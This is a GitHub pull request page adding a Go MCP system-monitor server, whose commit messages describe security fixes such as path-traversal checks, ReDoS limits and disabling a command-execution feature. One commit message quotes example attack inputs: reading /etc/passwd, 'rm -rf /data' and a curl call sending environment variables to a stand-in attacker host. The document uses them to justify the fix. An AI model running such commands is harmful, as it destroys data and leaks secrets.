system-monitor-server go mcp server #977
Merged
Conversation
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
10 tasks
irapandey
force-pushed
the
system-monitor-go-mcp
branch
2 times, most recently
from
63fefeb to
b63dd35
Compare
Signed-off-by: irapandey <ira.pandey2001@gmail.com>
Security improvements: - Remove compiled binary from repository (11MB) - Add .gitignore for Go binaries to prevent future commits - Fix path traversal vulnerability via symlink resolution - Add ReDoS protection for user-provided regex patterns - Enforce file size limits before reading to prevent memory exhaustion - Remove /tmp from default allowed paths (security risk) - Add security documentation to configuration files Path traversal fix: - Use filepath.EvalSymlinks() to resolve symlinks before validation - Prevents attacks where /var/log/evil -> /etc/passwd - Add directory separator checks to prevent partial path matches ReDoS protection: - Limit regex pattern length to 1000 characters - Detect dangerous nested quantifiers ((a+)+, (a*)*, etc.) - Validate patterns before compilation Memory protection: - Check file size BEFORE reading to prevent exhaustion - Limit scanner buffer to 10MB per line - Enforce maxFileSize configuration Configuration hardening: - Remove /tmp and ./logs from default allowed paths - Only /var/log remains as secure default - Add comments explaining security rationale - Provide safe customization examples
Update tests to validate the security improvements: - config_test.go: Expect only /var/log in allowed paths (not /tmp or ./logs) - main_test.go: Convert to security validation tests that verify /tmp access is denied - log_monitor.go: Fix MinSize filter to only apply to files, not directories These changes ensure tests validate the security hardening rather than expecting the insecure behavior.
crivetimihai
force-pushed
the
system-monitor-go-mcp
branch
from
b63dd35 to
e1bb7df
Compare
SECURITY VULNERABILITY FIXED:
The check_service_health tool allowed arbitrary command execution via
the "command" service type. An attacker with access to the MCP server
could execute ANY system command:
- Read sensitive files: {"type":"command","target":"cat /etc/passwd"}
- Delete files: {"type":"command","target":"rm -rf /data"}
- Exfiltrate secrets: {"type":"command","target":"curl attacker.com?data=$(env)"}
- Install malware, create backdoors, etc.
CHANGES:
- Disabled command type execution entirely
- Updated checkCommandService() to return "unsupported" status
- Removed os/exec import
- Updated documentation to reflect command type is disabled
- Updated all tests to expect "unsupported" status
- Added security comments explaining the vulnerability
Users should use the list_processes tool instead to check process status.
This was marked as ReadOnlyHintAnnotation(true) and
DestructiveHintAnnotation(false) which was completely incorrect.
Align system-monitor-server with fast-time-server reference implementation and add chroot-like root directory restriction for enhanced security. Build System Improvements: - Restructure Makefile following fast-time-server conventions - Add dynamic help system with emoji section headers - Add version injection via LDFLAGS - Add multiple run modes (stdio, http, sse, dual, rest) - Add MCP tool testing targets (test-metrics, test-processes, test-health) - Add comprehensive quality checks (fmt, vet, lint, staticcheck, security) - Add benchmarking and performance testing targets - Update .gitignore to include dist/ and coverage/ directories - Add staticcheck.conf for static analysis configuration Security Enhancements: - Add root_path configuration for chroot-like file access restriction - Enforce root boundary BEFORE allowed_paths checks (defense in depth) - Root restriction prevents access outside configured directory tree - Backward compatible: empty root_path maintains existing behavior - Add comprehensive tests for root path validation Documentation: - Rewrite README.md following fast-time-server style - Add Root Directory Restriction security section - Update configuration examples with root_path - Improve Quick Start and Development sections - Add cross-compilation instructions - Document all security features comprehensively Configuration: - Add security.root_path setting to config.yaml - Document production recommendation for root restriction - Update security comments for clarity Testing: - Add TestLogMonitorRootPathRestriction with comprehensive coverage - Update all NewLogMonitor calls to include root_path parameter - All tests passing (4 packages, 50+ tests) Signed-off-by: Mihai Criveti <crivetimihai@gmail.com>
crivetimihai
force-pushed
the
system-monitor-go-mcp
branch
from
1bca40f to
7de0fc1
Compare
This was referenced Oct 11, 2025
Merged
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
2 participants
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
✨ Feature / Enhancement PR
🔗 Epic / Issue
Link to the epic or parent issue:
Closes #898
🚀 Summary (1-2 sentences)
What does this PR add or change?
This PR adds a sample MCP Server - system-monitor-server (GoLang)
🧪 Checks
make lintpassesmake testpasses📓 Notes (optional)
Design sketch, screenshots, or extra context.
##Acceptance Criteria